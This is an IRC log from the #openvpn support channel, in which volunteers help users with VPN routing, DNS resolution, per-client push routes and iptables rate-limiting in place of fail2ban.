15:09 <@krzee> you already had a gateway, lets say 192.168.1.1
15:10 <@krzee> if you go add 2 routes, you can hijack the default gateway of openvpn without overriding it
15:11 <@krzee> route add -net 0.0.0.0/1 gw 192.168.1.1
15:11 <@krzee> route add -net 128.0.0.0/1 gw 192.168.1.1
15:12 < ThoMe_> krzee: hm. but i must write the gateway directly in my openvpnfig krze`?
15:12 < ThoMe_> or like redirect-gateway net_gateway ?
15:12 < ThoMe_> hm. sorry :/
15:12 <@krzee> heh
15:12 <@krzee> !cidr
15:12 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
15:14 < nubby> krzee, can i get a little help please
15:14 <@krzee> route 0.0.0.0 128.0.0.0 net_gateway
15:15 <@krzee> route 128.0.0.0 128.0.0.0 net_gateway
15:15 <@krzee> ThoMe_, ^
15:16 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 252 seconds]
15:16 <@krzee> then remove route-nopull and you'll get the nameservers for use in a --up script
15:21 <@plaisthos> dazo_afk: yes both android app handle dhcp
15:21 <@plaisthos> dazo_afk: dhcp dns
15:23 < nubby> plaisthos, could you help me with on last little indiscrepancy i have
15:23 < nubby> for soem reason my geo locatiosn sitll gettign disclosed
15:24 < nubby> even tho my vpn connection is no longer using my isp dns
15:24 <@krzee> ThoMe_, the devs informed me that route-nopull always blocked dhcp options, you may like route-noexec instead
15:24 <@krzee> but ANY routes you will need (for the vpn or whatever) will need to be added manually if you do that
15:24 <@krzee> my workaround works too
15:24 < ThoMe_> krzee: hm.
15:25 < ThoMe_> krzee: but a question, i use now what you say
15:25 < ThoMe_> route 0.0.0.0 128.0.0.0 net_gateway
15:25 < ThoMe_> route 128.0.0.0 128.0.0.0 net_gateway
15:25 < ThoMe_> but whay i have now the dhcp options, i mean dns(server)dns(suffix=
15:26 < ThoMe_> ?
15:26 < ThoMe_> my log said
15:26 <@krzee> huh?
15:26 < ThoMe_> http://pastebin.com/jh1tiKha
15:27 < ThoMe_> x.x.x.x is the openvpn-server-ip :P
15:27 <@krzee> and what am i looking for?
15:27 <@krzee> looks fine to me
15:28 < ThoMe_> krzee: ipconfig / route said: http://pastebin.com/LEKdwhz7
15:28 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1107.webspeed.dk] has joined #openvpn
15:29 <@krzee> and?
15:29 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
15:29 < ThoMe_> krzee: i can say nslookup ox 10.0.2.9 and the resolv is
15:29 < ThoMe_> Name:    ox.kabuco-muenchen.de
15:29 < ThoMe_> Address:  172.16.1.9
15:29 < ThoMe_> but ping "ox" doesnt works
15:29 < ThoMe_> but i dont know why
15:29 <@krzee> hardly sounds like openvpn's fault :-p
15:30 < ThoMe_> hm.
15:31 <@krzee> you're on the vpn and openvpn set the dns server for you
15:31 <@krzee> maybe you need search entry in resolv.conf
15:32 <@krzee> oh wait windows? i dunno
15:32 <@krzee> prolly just need to use full hostnames
15:32 <@krzee> or setup WINS
15:33 < ThoMe_> krzee: hm. ok. also in openvpn 2.2 in 2.3 not. hm. ok
15:33 < ThoMe_> bug?
15:33 <@krzee> theres no bug
15:33 <@krzee> what you said ignored dhcp options before
15:34 <@krzee> route-nopull always ignored them, but was not documented before
15:34 < nubby> krzee, you ignorign me or somethign sorry if i have annoyed you
15:35 <@krzee> i was helping someone else
15:35 <@krzee> now im on the phone
15:38 -!- mattock is now known as mattock_afk
15:40 < ThoMe_> krzee: but i use route-noexec
15:40 < ThoMe_> krzee: and then route 10.0.0.0 255.0.0.0 vpn_gateway doesnt works
15:42 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 264 seconds]
15:42 -!- nubby [~ubuntu@178-32-59-26.ovh.net] has quit [Ping timeout: 256 seconds]
15:44 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1107.webspeed.dk] has quit [Quit: Sleep]
15:49 -!- jthunder_ [~jthunder@184.151.222.216] has joined #openvpn
15:53 -!- jthunder [~jthunder@96.53.110.162] has quit [Ping timeout: 268 seconds]
15:54 -!- jthunder [~jthunder@184.151.222.216] has joined #openvpn
15:56 -!- jthunder_ [~jthunder@184.151.222.216] has quit [Ping timeout: 256 seconds]
15:59 -!- jthunder [~jthunder@184.151.222.216] has quit [Quit: jthunder]
16:01 -!- Nothing4You is now known as Nothing4You|
16:01 -!- Nothing4You| is now known as Nothing4You
16:03 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has left #openvpn []
16:23 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
16:24 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
16:24 -!- Poster|x is now known as Poster
16:27 < ThoMe_> hm.
16:27 < ThoMe_> why i cant nslookup hostname
16:27 < ThoMe_> but not ping hostname
16:27 < ThoMe_> ?
16:29 < Poster> did you mean to have two negatives in there?
16:29 < ThoMe_> hm. what u mean?
16:29 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
16:29 < Poster> you can't look up a hostname via nslookup and you can't ping by name?
16:30 < ThoMe_> I*can* lookup via nslookup but doesnt ping
16:30 < ThoMe_> when windows try to ping then he cant lookup this.
16:30 < ThoMe_> nslookup works fine.
16:31 < rob0> well, actually it does not, nslookup is a buggy broken pile of crap.
16:31 < ThoMe_> rob0: hm. a openvpn problem?
16:32 < rob0> Sounds like a Windows problem to me.
16:32 < ThoMe_> hm. no fix?
16:33 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
16:34 < rob0> heh, sorry, I am not as smart as you think I am. Your problem could be one of thousands of things, only a few of which might be relevant to openvpn.
16:34 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:34 -!- Perun [perun@chao5.net] has quit [Read error: Operation timed out]
16:34 < Poster> if you can resolve but not ping, you're likely running into a firewall and/or routing issue
16:34 < rob0> IIUC ThoMe_ is saying that ping.exe can't resolve the name.
16:35 < rob0> thus, most likely, a Windows problem.
16:35 < Poster> all things being equal, if nslookup works, ping should too
16:36 < Poster> even if ICMP is being filtered, the resolution rides the same path
16:44 -!- matsh [divine@nanogene.org] has quit [Read error: Connection reset by peer]
16:44 -!- matsh [divine@nanogene.org] has joined #openvpn
16:47 -!- Skaag` [~lunix@114-42-236-197.dynamic.hinet.net] has joined #openvpn
16:48 -!- quentusrex [~quentusre@freeswitch/developer/quentusrex] has joined #openvpn
16:50 < quentusrex> Is it possible to configure openvpn to confirm the public key, user and password from ldap?
16:51 < quentusrex> I see how to manage the keys separately, and the ldap settings separately, but I want to confirm that the user is logging in from the correct key connection.
16:51 -!- Skaag [~lunix@114-44-6-1.dynamic.hinet.net] has quit [Ping timeout: 264 seconds]
17:05 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 272 seconds]
17:06 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
17:38 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
17:39 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
17:40 -!- paccer_ is now known as paccer
17:50 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has joined #openvpn
17:55 < mnice> hmm .. would anyone help me with setting up proper routing and masquerade settings ?? i have reported, that some services (represented by an ip:port) on the targets in LAN are broken via vpn tunnel but not when forwarded via ssh tunnel .. can't reproduce that correctly ?? dunno why. to lan comes packets with source of vpn clients 10.168.68.0/24 and clients use theirs default gw (192.168.68.1) to reply .. setting up static route of 10.
17:56 < pekster> !serverlan
17:56 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
17:56 < pekster> If you route properly, you don't need NAT (masquerade)
17:56 < mnice> it all works it seems like
17:57 < mnice> but they report, that some specific servicess are broken via vpn tunnel but not when forwarded via ssh -L local_p:ip:remote_p
17:59 < pekster> Routing is routing. If clients are using the default gateway to reply and that's not routed back through your VPN infrastructure, then your setup is broken
18:00 < mnice> router is same machine as vpn server
18:01 < mnice> 10.168.0.0/16 via 192.168.68.1 dev eth0
18:01 < mnice> default via 192.168.68.1 dev eth0  proto static
18:01 < pekster> If that's already the default gateway why do you need an explicit route?
18:01 < pekster> That's pointless
18:02 < mnice> ^^ this is how it looks on clients (here with added additional route for that subnet however routed even without it via same gateway)
18:02 < mnice> pekster: it's just wild shooting off my reported issue
18:03 < mnice> they say, that specifically sql dbase doesn't work over vpn
18:03 < pekster> Mindlessly adding routes isn't the correct way to fix a problem. Reproducing it, or watching while someone who can would be a good place to start. I left my crystal ball somewhere else
18:03 < mnice> yes, fair and correct
18:04 < pekster> Firewall or DNS would be my guess, but I have no clue about what your setup entails. Start your troubleshooting there, and get steps to reproduce the issue yourself, then hunt for clues
18:07 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
18:08 < mnice> well, i'm starting to tend that inane fedora does it spomehow .. i can't reproduce a problem in suse and manual client settings (no NM or whatever), there are connected 10 windows devels using i don't know what all and two unix architects - both has fedora - are troubled
18:09 < mnice> pekster: can tun iface somehow change the packet header via transferring thru layers ?
18:20 -!- zapotah [~zapotah@a88-112-61-228.elisa-laajakaista.fi] has joined #openvpn
18:21 < zapotah> is there an openvpn way to make the client actually reconnect on interval instead of re-negotiating the tunnel keys every hour (the default is an hour apparently judging by the logs)
18:22 < zapotah> reason being that the dns it connects to changes every so often without the old ip actually going down, but the routing always happens through the ip that has the dns record
18:22 < zapotah> id hate to make a cron job for this...
18:46 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
19:02 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
19:13 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:15 -!- zapotah [~zapotah@a88-112-61-228.elisa-laajakaista.fi] has quit [Remote host closed the connection]
19:15 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 276 seconds]
19:21 -!- zapotah [~zapotah@a88-112-61-228.elisa-laajakaista.fi] has joined #openvpn
19:21 -!- Gumby` [~gumby@unaffiliated/gumby] has joined #openvpn
19:28 -!- defswork [~andy@141.0.50.105] has joined #openvpn
19:32 -!- raidz is now known as raidz_away
19:54 -!- Gumby` [~gumby@unaffiliated/gumby] has quit [Ping timeout: 248 seconds]
19:55 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has joined #openvpn
19:55 < Lars_G> Hi all.
19:55 < Lars_G> Question, how do I handle route, push route and iroute when I have two machines in the iroute sector that connect to the vpn?
19:56 < Lars_G> do I set up an iroute for each? or is there a way for the second machine to get pushed a push route "nullification" via ccd?
20:02 < Lars_G> ok what I should do is move pushes to ccd files. isn't it?
20:03 <@EugeneKay> push-reset
20:05 < Lars_G> EugeneKay: Ok the ccd? I'll check
20:05 < Lars_G> EugeneKay: Now I have one setup that gets hairy, but i think I know how I'll handle it
20:05 <@EugeneKay> I recommend a razor.
20:06 < Lars_G> EugeneKay: I have one, gilette mach 3, we haven't found the blades in 6 months so it hurts to shave
20:06 <@EugeneKay> I use an electric
20:06 < Lars_G> I want an electric. Which one do you use?
20:07 < Lars_G> Do you want me to explain the situation and my solution to see if your infinite wisdom is wise about it?
20:07 <@EugeneKay> Norelco something. It works good.
20:07 < Lars_G> hmmm
20:07 <@EugeneKay> Not really, it's my bedtime
20:07 < Lars_G> I've been thinking about a phillips (phillipshave)
20:07 < Lars_G> Then sleep well
20:08 < Lars_G> I'll implement my crazy solution anyhow
20:08 < rob0> Beard. It's easier. Just hose it down occasionally.
20:08 -!- Gumby` [~gumby@S010600151714fce3.vc.shawcable.net] has joined #openvpn
20:08 -!- Gumby` [~gumby@S010600151714fce3.vc.shawcable.net] has quit [Changing host]
20:08 -!- Gumby` [~gumby@unaffiliated/gumby] has joined #openvpn
20:08 < Lars_G> rob0: If you'd saw what I grow as a "beard" you would both change your mind, and be traumatized
20:09 < Lars_G> it's like moldy cancer is trying to take over my face haphazardly.
20:10 < Lars_G> it's nature's cruel mock for me, who wanted a viking style braided goatee
20:11 < rob0> <-- an authentic Unix graybeard
20:12 < rob0> I frighten children and respectable people every day.
20:12 < rob0> um, sorry to go back on topic, but I don't understand:
20:12 < pekster> You only need that --push-reset in a ccd if you don't want client#2 to get a route for client#1's LAN
20:12 < pekster> Oh, blah, up a few pages :(
20:12 < rob0> "two machines in the iroute sector"?
20:13 < rob0> You mean two at one site are both clients?
20:13 < rob0> and no redirection, right?
20:15 < Lars_G> rob0: I mean two at one site are clients yes. And one has an iroute assigned.
20:15 < Lars_G> pekster: I've decided for reasons of my own that it's better to move my push "route"s from server.conf to ccd/*
20:16 < rob0> you could just have one of those client route to the VPN and points beyond through the other one
20:16 < rob0> maybe that's not secure enough?
20:16 < pekster> It gives you more flexibility; I tend to do the same, but in a --client-connect script that does lots of extra magic
20:17 < Lars_G> pekster: The thing is, I use vpn to join 4 ideological networks.
20:17 < Lars_G> the main, is a network of my devices everywhere.
20:17 < Lars_G> one is a network at work
20:17 < Lars_G> one is a network home
20:17 < Lars_G> and one is a "network" of disperse servers I've setup freelance and maintain.
20:18 < Lars_G> it's that last that decided me, as I don't want my home's or work's networks pushed to these
20:18 < Lars_G> so I moved pushes to ccd files
20:18 < rob0> sure, makes sense
20:18 < Lars_G> the odd thing is now I need 3 configs, 3 key-sets for my android phone
20:18 < pekster> Hopefully you're also firewalling them properly, otherwise all it takes is someone to figure out a route can be added and things get interesting
20:18 < Lars_G> std for on the street, receives the push for both networks. Home profile receives work's push only, and work profile receives home's push only
20:19 < rob0> A --client-connect script could check the client IP and act differently according to that information
20:19 < pekster> Different configs or post-connect client scripts  might be better suited; no need to use differnet keypairs if it's the same physical device
20:19 < Lars_G> pekster: In general all machines of mine that touch internet get fail2ban up the rear, the most sacred ones also add stuff like key based ssh only etc.
20:19 < Lars_G> Ah that's nice rob0 and pekster
20:20 < Lars_G> hmmm
20:20 < pekster> I only accept pubkey on any host that runs ssh on my networks, but then again, I go overboard on security
20:20  * rob0 throws pekster a life saver .................O
20:20 < Lars_G> nah I kinda like fail2ban
20:21 < Lars_G> gives me a sort of statistics on the hotness of a system for script kiddies
20:21 < Lars_G> that also helps measure which machines to invest more time securing
20:21 < pekster> background scanners run 24/7; it doesn't necessarily mean you're an interesting target
20:22 < Lars_G> pekster: though right now I care a little more about my cloud security than persona one
20:22 < Lars_G> and yet I'm laxing.
20:22 < Lars_G> I have a pretty small central ring, and it's all 2 factor (3 items, I should add a fourth).
20:23 < Lars_G> but I admit I must clean my associated applications in twitter and facebook
20:23 < Lars_G> not that I want to set foot on either for a while
20:24 < Lars_G> I just... had an horribly bad idea, so bad it might be good.
20:34 <@EugeneKay> !fail2ban
20:34 <@vpnHelper> "fail2ban" is in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
20:39 < Lars_G> Yeah, for ssh
20:39 < Lars_G> I also maintain checks on smpt, pop3/imap, and certain web services
20:39 < Lars_G> And....
20:40 < Lars_G> wouldn't that kill legitimate frecuent connections?
20:40 < Lars_G> well... in a few cases I could whitelist. but not in all.
20:42 <@EugeneKay> Sure
20:42 <@EugeneKay> I've never had a problem with that rate though
20:42 < pekster> One doesn't usually need to establish more than 5 connections per minute from a single /24 block
20:43 < Lars_G> hmmm ok
20:43 <@EugeneKay> Heck, I have it set to 5/hour on most boxes
20:43 < pekster> In theory an attacker with another IP inside your same /24 block could DoS you, but that's pretty rare
20:43 < Lars_G> if i get it right it's hashing based on source ip.
20:43 <@EugeneKay> With a whitelist on my home/internal networks
20:43 <@EugeneKay> You could even hash on a /16
20:43 < pekster> See iptables-extensions(8) for all the internal details on hashlimit, but yes, it hashes to limit it to "5 connections per minute for any unique /24"
20:45 < Lars_G> hmm
20:46 < Lars_G> I'd personally hash on /32 but that's me :P
20:46 <@EugeneKay> Waste of RAM
20:46 < Lars_G> yeah
20:46 < Lars_G> my phone would probably hit that hashlimit though
20:46 <@EugeneKay> And sometimes you get a whole buncha boxen in one subnet
20:46 <@EugeneKay> Eg, a compromised field of VPSes
20:46 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
20:46 < pekster> You're creating more than 5 different connections per minute?
20:46 < pekster> huh?
20:47 < pekster> I can't even log in that fast on my phone (one login per 12 seconds for a minute straight? I'd need to create new profiles for each one...)
20:47 < Lars_G> let's see, for work that is imap, http (zabbix), jabber.... sometimes ssh...
20:47 < Lars_G> might not hit it
20:47 < pekster> It's per match. Use different rules for each service
20:47 < Lars_G> Yeah that would be the sanest
20:47 < Lars_G> And it's a good external way to avoid email harvesting.
20:48 < Lars_G> I've never found postfix's time mechanisms to be too effective/good
20:48 < Lars_G> I migh try. actually.
20:48 <@EugeneKay> All the benefits of fail2ban(quieter logs) with none of the CPU usage!
20:49 < Lars_G> Well, not none, just lower cpu ussage
20:49 < pekster> What, don't like feeding CPU to the snake^Wpython?
20:52 < Lars_G> Well, I like snakes, and I like pythons :)
20:53 < Lars_G> I fear the slippery slope, but I will try this
20:53 < Lars_G> thanks for the suggestion
20:57 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
21:11 -!- jthunder_ [~jthunder@174.3.126.51] has joined #openvpn
21:13 -!- jthunder [~jthunder@174.3.126.51] has quit [Ping timeout: 245 seconds]
21:13 -!- jthunder_ is now known as jthunder
21:13 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
21:14 < Moonlightning> Is there a way to make connections to an IP fail immediately if it's not assigned?
21:15 < Moonlightning> ssh $IP_of_offline_machine # this takes about a minute just to time out
21:18 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
21:39 <@EugeneKay> `ssh -o ConnectTimeout=1`
21:40 <@EugeneKay> As for a general purpose solution, I'm not sure offhand
21:40 <@EugeneKay> Fairly sure you could make up an iptables rule to sent ICMP rejected or unavailable messages back
21:40 <@EugeneKay> But I'm not exacctly sure how without playing with it myself
21:41 < Moonlightning> That would be nice. ^2
21:41 < Moonlightning> Assuming it would only do that for machines that were actually offline xD
21:41 < pekster> The problem is you can't know that in advance, unless you control the remote site and somehow can vouch for that
21:41 <@EugeneKay> Yeah; you could build a client-(dis)connect script to add/remove a rule to except connected machines
21:42 < Moonlightning> In my case, there's only one server.
21:42 < pekster> host-unreachable is often replied by some gateways, but it has to time out the ARP discovery before it'll do that
21:42 <@EugeneKay> I *think* if you run on TAP devices you can get an unreachable back
21:42 <@EugeneKay> Try it out, see what happens
21:43  * Moonlightning only uses tun xD
21:43 <@EugeneKay> Still routed mode
21:44 < Moonlightning> …hmm?
21:44 < pekster> Assuming linux, you could use an ipset match (if performance is important, otherwise just a long UDF) to accept traffic to valid VPN clients, and reject anything else
21:44 < Moonlightning> The server is Linux, yes(, but some of the clients aren't)
21:44 < pekster> Seems a lot of effort for not much gain
21:44 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
21:44 < pekster> Dunno what your use-case is, but it feels like pounding a nail with a screwdriver
21:44 <@EugeneKay> Yeah
21:45 <@EugeneKay> I'd just lower connecttimeout and call it a night
21:45 <@EugeneKay> This would be a server-side thing
21:45 < Moonlightning> Some of these connections are slow. 6_9
21:45  * EugeneKay shrugs
21:46 < Moonlightning> Why doesn't tun do host-is-unreachable errors?
21:46 <@EugeneKay> Because it's L3
21:47 <@EugeneKay> No ARPing involved
21:47 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
21:47 < pekster> With OpenVPN in userland, it would be somewhat expensive to do a table lookup for every packet to first see if it matches a valid client IP
21:48 < Moonlightning> My table is /tiny/, though.
21:48 < pekster> And you'd have to exclude traffic being routed across the VPN (not bound for a client as the final destination.) In otherwords, too expensive
21:48 < Moonlightning> I don't think there'll ever be more than six clients.
21:48 < Moonlightning> Couldn't it just check if it was in the VPN subnet?
21:48 < pekster> And the code has to handle not just you, but everyone installing openvpn, some pushing on the order of 1Gbps traffic
21:48 < pekster> So no
21:48 < Moonlightning> Oh.
21:48 < Moonlightning> Okay. x.x
21:48 < pekster> tl;dr: find a proper solution. It's not L3's job to care about L7 issues
21:55 < pekster> server-side, ipset might be the fastest solution, paired with a --client-connect and --client-disconnect script to maintain it
21:55 < pekster> (and probably an --up script to clear it)
21:55 < pekster> Still not really sure what good it'll end up doing
22:22 -!- master_o1_master [~master_of@p4FF24E66.dip0.t-ipconnect.de] has joined #openvpn
22:25 -!- master_of_master [~master_of@p4FF24146.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
22:29 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has quit [Quit: leaving]
23:01 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
23:12 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
23:25 -!- dazo_afk [~dazo@2001:470:de40:1021::14] has joined #openvpn
23:25 -!- dazo_afk [~dazo@2001:470:de40:1021::14] has quit [Changing host]
23:25 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
23:25 -!- mode/#openvpn [+o dazo_afk] by ChanServ
23:25 -!- dazo_afk is now known as dazo
23:26 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
23:27 -!- delinquentme [~asdfasdf@192.195.81.250] has joined #openvpn
23:28 < delinquentme> So if I want to feed a dyndns.org  ... named route into the client.conf file
23:28 < delinquentme> how do?
23:28 < delinquentme> remote ipdx.dyndns.org 443
23:28 < delinquentme> instead of 208.90.212.136 443
23:29 < pekster> route or --remote value?
23:31 < delinquentme> remote
23:32 < pekster> Did you read the manpage for it?
23:32 < pekster> First sentence tells you what you want
23:32 < pekster> And it doesn't insert a route
23:32 < pekster> It's the remote peer to connect
23:36 -!- delinquentme [~asdfasdf@192.195.81.250] has quit [Ping timeout: 264 seconds]
23:40 -!- Skaag` [~lunix@114-42-236-197.dynamic.hinet.net] has quit [Ping timeout: 276 seconds]
--- Day changed Wed Apr 24 2013
00:05 -!- brute11k [~brute@89.249.235.152] has joined #openvpn
00:11 -!- jgoldberg [~jgoldberg@cpe-72-177-87-250.austin.res.rr.com] has joined #openvpn
00:21 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
00:48 -!- Gumby` [~gumby@unaffiliated/gumby] has quit [Ping timeout: 264 seconds]
00:49 -!- Gumby` [~gumby@S010600151714fce3.vc.shawcable.net] has joined #openvpn
00:49 -!- Gumby` [~gumby@S010600151714fce3.vc.shawcable.net] has quit [Changing host]
00:49 -!- Gumby` [~gumby@unaffiliated/gumby] has joined #openvpn
01:02 -!- Skaag [~lunix@115.82.172.147] has joined #openvpn
01:10 -!- brute11k1 [~brute@89.249.235.152] has joined #openvpn
01:10 -!- brute11k [~brute@89.249.235.152] has quit [Ping timeout: 264 seconds]
01:11 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
01:19 -!- brute11k1 [~brute@89.249.235.152] has quit [Ping timeout: 276 seconds]
01:20 -!- brute11k [~brute@89.249.235.152] has joined #openvpn
01:34 -!- Skaag [~lunix@115.82.172.147] has quit [Read error: Connection reset by peer]
01:38 -!- zpmorgan [~zach@nl4x.mullvad.net] has joined #openvpn
01:46 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:51 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:51 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:51 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:55 -!- Skaag [~lunix@115.82.172.147] has joined #openvpn
01:55 -!- mattock_afk is now known as mattock
02:01 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
02:01 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
02:02 -!- ChauffeR [squirrel@2001:470:1f08:a2a::1337] has quit [Ping timeout: 245 seconds]
02:02 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 264 seconds]
02:02 -!- Zenum [~quassel@unaffiliated/zenum] has quit [Remote host closed the connection]
02:03 -!- Skaag [~lunix@115.82.172.147] has quit [Read error: Connection reset by peer]
02:03 -!- Zenum [~quassel@2001:470:6c:5bc::1000] has joined #openvpn
02:03 -!- Zenum [~quassel@2001:470:6c:5bc::1000] has quit [Changing host]
02:03 -!- Zenum [~quassel@unaffiliated/zenum] has joined #openvpn
02:04 -!- EugeneKay [eugene@madeitwor.se] has quit [Ping timeout: 264 seconds]
02:04 -!- NuclearMeltdown [rep@unaffiliated/antiliberal] has quit [Ping timeout: 245 seconds]
02:04 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
02:04 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Ping timeout: 264 seconds]
02:05 -!- ChauffeR [squirrel@2001:470:1f08:a2a::1337] has joined #openvpn
02:05 -!- EugeneKay [eugene@madeitwor.se] has joined #openvpn
02:05 -!- hazardous [~dbn@void.kassad.in] has joined #openvpn
02:06 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
02:06 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
02:09 -!- Skaag [~lunix@115.82.172.147] has joined #openvpn
02:12 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:15 -!- Skaag [~lunix@115.82.172.147] has quit [Read error: Connection reset by peer]
02:17 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Ping timeout: 256 seconds]
02:22 -!- phunyguy [~quassel@h184-60-182-132.kgldga.dsl.dynamic.tds.net] has joined #openvpn
02:22 -!- phunyguy [~quassel@h184-60-182-132.kgldga.dsl.dynamic.tds.net] has quit [Changing host]
02:22 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
02:30 -!- brute11k [~brute@89.249.235.152] has quit [Ping timeout: 264 seconds]
02:30 -!- brute11k [~brute@89.249.235.152] has joined #openvpn
02:57 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 276 seconds]
02:59 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
02:59 -!- raidz_away [~raidz@46.28.203.186] has joined #openvpn
02:59 -!- raidz_away is now known as raidz
02:59 -!- raidz [~raidz@46.28.203.186] has quit [Changing host]
02:59 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
02:59 -!- mode/#openvpn [+o raidz] by ChanServ
03:03 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has left #openvpn []
03:04 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 256 seconds]
03:04 -!- rob0 [rob0@harrier.slackbuilds.org] has joined #openvpn
03:04 -!- rob0 [rob0@harrier.slackbuilds.org] has quit [Changing host]
03:04 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
03:08 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:13 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:13 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:13 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:31 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
03:47 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Ping timeout: 255 seconds]
03:55 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 252 seconds]
03:57 -!- shiin [~alex@funtoo/core/shiin] has joined #openvpn
03:57 -!- ferz [~nonsoloso@vola.diff.org] has joined #openvpn
03:57 < ferz> Hi
04:01 < ferz> http://paste.scsys.co.uk/244019
04:01 < ferz> have you hints?
04:05 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1107.webspeed.dk] has joined #openvpn
04:08 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
04:08 -!- xtz [xtz@DeathStar.Techn0.eu] has left #openvpn []
04:08 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
04:08 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
04:08 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:09 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
04:09 -!- xtz [xtz@DeathStar.Techn0.eu] has left #openvpn []
04:09 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
04:09 < xtz> irssi totally messed up :\
04:09 -!- lbft is now known as notlbft
04:11 -!- notlbft is now known as lbft
04:15 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
04:24 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 258 seconds]
